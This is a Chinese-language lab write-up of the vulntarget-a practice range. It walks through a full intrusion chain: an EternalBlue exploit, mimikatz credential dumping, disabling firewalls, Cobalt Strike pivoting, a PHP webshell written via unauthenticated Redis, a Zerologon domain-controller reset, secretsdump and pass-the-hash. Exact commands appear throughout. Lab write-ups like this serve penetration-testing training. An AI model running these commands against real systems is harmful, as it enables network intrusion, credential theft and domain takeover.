靶场环境介绍
vulntarget-a 是一个典型的多层内网渗透靶场,不同于单节点的入门靶场,它模拟了真实企业环境中的多层网络架构,包含外网边界节点、内网应用服务器以及域控制器,完整覆盖了从外网打点、内网代理、横向移动到域控提权的全流程渗透测试场景,是内网渗透入门的绝佳练习靶场。
本次靶场共包含 4 台主机,网络架构如下:
-
Kali 攻击机 :外网攻击节点,外网网段为
10\.10\.10\.0/24,作为我们的攻击起点 -
Win7 边界主机 :外网可访问的边界节点,双网卡配置,同时连接外网
10\.10\.10\.0/24和内网10\.30\.1\.0/24,是我们的第一个打点目标 -
Win2016 应用服务器 :内网应用节点,位于
10\.0\.20\.0/24网段,运行 PHPStudy 环境与 Redis 服务 -
Win2019 域控制器 :整个内网的核心域控节点,位于
10\.0\.10\.0/24网段,存储了整个域的权限凭证,是我们的最终目标
一、外网打点:拿下边界 Win7 主机
作为渗透的第一步,我们首先需要突破外网边界,拿下这台暴露在公网的 Win7 主机,以此作为进入内网的跳板。
1.1 信息收集:定位边界节点
首先,我们在 Kali 攻击机上,对目标外网网段进行存活主机扫描,定位边界 Win7 主机的 IP 地址:
netdiscover -i eth0 -r 10.10.10.0/24
扫描结果很快定位到了存活主机 10\.10\.10\.132,接下来我们对这台主机进行全端口服务扫描,摸清开放的端口和运行的服务,为后续漏洞利用做准备:
nmap -A -p- 10.10.10.132
也可以使用 fscan 进行更快速的服务扫描,结果一致:
./fscan_amd64 -h 10.10.10.132 -np
扫描结果显示,这是一台 Windows 7 主机,开放了 445 SMB 端口,这让我们立刻想到了经典的 永恒之蓝(MS17-010) 漏洞 ------ 这是 Win7 时代最知名的远程代码执行漏洞,几乎是未打补丁的 Win7 主机的标配入口。
1.2 漏洞利用:永恒之蓝远程拿下权限
我们直接启动 Metasploit 框架,利用永恒之蓝漏洞进行远程攻击:
msfconsole
进入 msf 后,我们先搜索永恒之蓝的相关利用模块:
search ms17-010

搜索结果中,我们选择最经典的永恒之蓝远程利用模块,查看需要配置的参数:
use exploit/windows/smb/ms17_010_eternalblue
show options
接下来配置攻击机和靶机的 IP 地址,指定我们的 Kali 主机 IP 作为回连地址,目标 Win7 主机 IP 作为攻击目标:
set lhost 10.10.10.128 # 我们Kali的外网IP
set rhosts 10.10.10.132 # 目标Win7的外网IP
配置完成后,直接执行 run 发起攻击:
run
等待几秒后,我们就成功拿到了 Win7 主机的 Meterpreter 会话,而且直接是 System 最高权限!我们可以通过 getuid 命令确认当前权限:
getuid
至此,我们已经成功拿下了边界 Win7 主机的完全控制权限,完成了外网打点的第一步。
1.3 后渗透:内网入口与凭证获取
成功拿下会话后,我们首先进行基础的后渗透信息收集,首先解决中文乱码问题,然后查看主机的网络配置:
chcp 65001 # 切换到UTF-8编码解决乱码
ipconfig
结果验证了我们的猜测:这台 Win7 果然是双网卡主机!除了我们访问的外网网卡 10\.10\.10\.132,还有一个内网网卡 10\.30\.1\.139------ 这意味着我们已经找到了进入内网的入口,接下来就可以通过这台主机访问内网的其他网段了。
接下来,我们尝试抓取这台主机的登录凭证,使用 mimikatz 模块来导出内存中的登录密码,这是后渗透阶段获取凭证的常用手段:
load mimikatz
kiwi_cmd sekurlsa::logonpasswords

成功导出了凭证,我们拿到了 Win7 主机的本地账号密码:
-
用户名:
win7 -
密码:
admin
1.4 远程桌面配置:方便后续操作
为了后续内网操作的方便,我们尝试开启这台主机的远程桌面服务,首先关闭主机的防火墙,避免防火墙拦截我们的后续连接:
shell
netsh advfirewall set allprofiles state off
然后通过 msf 的 post 模块,一键开启 RDP 远程桌面服务:
run post/windows/manage/enable_rdp
这样我们后续就可以通过远程桌面直接连接这台主机,更方便地进行内网的操作。
1.5 备选方案:Web 打点(通达 OA 漏洞)
除了永恒之蓝漏洞,这台 Win7 主机还开放了 Web 服务,我们也可以通过 Web 漏洞进行打点,这也是真实环境中非常常见的打点方式。
我们访问内网网卡的 Web 地址 http://10\.30\.1\.139/,可以看到这是一个 通达 OA 办公系统,这是国内企业非常常用的 OA 系统,也存在不少经典的远程代码执行漏洞。

我们可以直接利用通达 OA 的相关漏洞工具,获取远程代码执行权限,之后通过蚁剑连接生成的 WebShell,同样可以拿到 Win7 主机的最高权限,和永恒之蓝的效果完全一致,这也体现了渗透测试中打点方式的多样性。
二、内网横向:拿下 Win2016 应用服务器
拿下 Win7 主机后,我们就正式进入了内网环境,接下来需要进行横向渗透,拿下内网中的其他主机。这里我们选择使用 Cobalt Strike(CS)来进行内网的代理和主机控制,它可以非常方便地管理多层内网的跳板,是红队渗透的常用工具。
2.1 CS 上线与代理配置
首先,我们在 Kali 上启动 CS 的 teamserver 服务,作为我们的团队控制服务器:
./teamserver 10.30.1.129 nikoxiaoyu

然后启动 CS 客户端,连接到我们的 teamserver,新建一个反向监听,然后生成一个 Windows 木马,上传到 Win7 主机上执行,让 Win7 主机上线到我们的 CS 团队服务器。
Win7 上线后,我们就可以通过 CS 进行内网的存活主机扫描,很快就扫描到了内网中的另一台主机:10\.0\.20\.99,这应该就是我们的下一个目标 ------Win2016 应用服务器。
接下来,我们通过 CS 的 socks 代理 功能,把 Win7 主机作为跳板,让我们的 Kali 主机可以通过它访问内网的其他网段。然后我们修改 Kali 上的 proxychains 配置文件,添加代理配置,这样我们就可以通过 proxychains 工具,把 Kali 的所有流量都转发到内网,从而直接访问内网的主机。
# /etc/proxychains.conf
[ProxyList]
socks5 10.30.1.129 1080

2.2 服务探测:Redis 未授权访问
配置好代理后,我们对 10\.0\.20\.99 这台主机进行端口扫描,发现它开放了两个关键端口:
-
80 端口:Web 服务
-
6379 端口:Redis 服务
我们先尝试访问 80 端口,发现只是一个简单的 Hello World 页面,没有明显的可利用入口。但是 6379 端口的 Redis 服务,引起了我们的注意 ------Redis 默认如果没有配置密码和访问限制,就会存在 未授权访问漏洞,攻击者可以直接连接 Redis,写入任意文件,这是内网中非常常见的漏洞。
我们通过代理连接这台主机的 Redis:
proxychains redis-cli -h 10.0.20.99
果然,不需要密码就直接连接成功了!这说明我们可以利用这个未授权漏洞进行攻击。
2.3 漏洞利用:Redis 写入 WebShell
我们从之前的目录扫描中,发现这台主机的 80 端口的 Web 目录是 C:/phpStudy/PHPTutorial/WWW/,所以我们可以直接把一句话木马写入到这个目录下,从而获取 WebShell。
首先切换 Redis 的工作目录到 Web 目录:
config set dir "C:/phpStudy/PHPTutorial/WWW/"
然后设置备份文件名为 tx\.php,也就是我们的木马文件:
config set dbfilename tx.php
然后写入一句话木马的内容:
set 1 "<?php @eval($_POST['tx']);?>"
最后执行 save 保存,这样 Redis 就会把我们的数据写入到 tx\.php 文件中:
save
完成后,我们就可以通过蚁剑,挂上代理连接这个 WebShell,成功拿到了 Win2016 主机的权限!而且直接是 System 最高权限。
2.4 CS 上线 Win2016 与域信息收集
拿到 Win2016 的权限后,我们同样把它上线到我们的 CS 服务器,这样我们就可以把它作为新的跳板,访问更深层的 10\.0\.10\.0/24 网段。
首先我们在 CS 上新建一个转发监听,然后生成对应的木马,通过蚁剑上传到 Win2016 上执行,让它上线到 CS。上线后,我们同样关闭这台主机的防火墙,方便后续的渗透:
netsh firewall set opmode mode=disable
接下来,我们查看这台主机的系统信息,发现它已经加入了域!这说明我们已经进入了域环境,接下来的目标就是域控制器了。我们通过命令收集域的相关信息:
# 查看域控制器列表
net group "domain controllers" /domain
# 查看域管理员组
net group "enterprise admins" /domain
# 解析域的地址
ping vulntarget.com
通过这些信息,我们成功定位到了域控制器的地址:10\.0\.10\.110,主机名是 WIN2019,这就是我们最终的目标!
三、域内渗透:拿下域控 Win2019
现在我们已经到了域内,目标是拿下这台 Win2019 域控制器。对于域控,我们有一个非常经典的漏洞可以利用:CVE-2020-1472(Zerologon),这个漏洞可以让我们无需任何凭证,直接重置域控的机器账号密码,从而拿到域管理员的权限,是域渗透中非常高效的提权手段。
3.1 漏洞利用:Zerologon 重置域控密码
首先,我们需要准备好利用工具,impacket 工具集和 CVE-2020-1472 的 EXP:
# 安装impacket工具集,用于后续的凭证导出
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 -m pip install -r requirements.txt
python3 -m pip install .
# 下载Zerologon漏洞EXP
git clone https://github.com/dirkjanm/CVE-2020-1472.git
然后,我们通过代理,执行 EXP,对域控进行攻击:
cd CVE-2020-1472
proxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110
执行成功后,域控的机器账号密码就被我们重置为空了,这就为我们后续导出凭证打开了大门。
3.2 导出域内所有凭证
接下来,我们使用 impacket 的 secretsdump 工具,利用空密码的机器账号,导出域内所有用户的 NT Hash 凭证,这是我们拿下域控的关键一步:
cd impacket/examples
proxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-pass

很快,我们就拿到了域管理员 Administrator 的 NT Hash:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
3.3 登录域控:Pass-the-Hash 拿下权限
拿到了管理员的 Hash,我们就可以通过 Pass-the-Hash(哈希传递)攻击,直接登录域控,不需要知道明文密码,这是域渗透中非常常用的权限维持和登录手段。
我们使用 impacket 的 smbexec 工具,通过 Hash 登录域控:
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 Administrator@10.0.10.110
也可以使用 wmiexec 工具,效果一致:
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110
登录成功!我们成功拿到了域控制器的 System 权限,至此,整个靶场的所有主机都被我们拿下,渗透测试完成!
四、渗透总结
整个 vulntarget-a 靶场的渗透流程,完整模拟了真实企业内网的渗透路径,非常贴合实际的红队攻击场景:
-
外网打点:通过永恒之蓝漏洞拿下边界 Win7 主机,打通内网入口,同时也可以通过 Web 漏洞进行打点,体现了打点方式的多样性
-
内网横向:通过 CS 搭建多层代理,利用 Redis 未授权漏洞拿下内网的 Win2016 应用服务器,逐步深入内网
-
域控提权:利用 Zerologon 漏洞重置域控密码,导出域凭证,通过哈希传递拿下域控权限,完成整个内网的控制
整个过程覆盖了从外网到内网,从普通主机到域控的全流程,涉及了永恒之蓝、Redis 未授权、Zerologon 等多个经典漏洞,以及代理配置、凭证抓取、哈希传递等内网渗透的核心技术,非常适合内网渗透的入门练习,帮助我们理解真实企业环境中的渗透测试逻辑。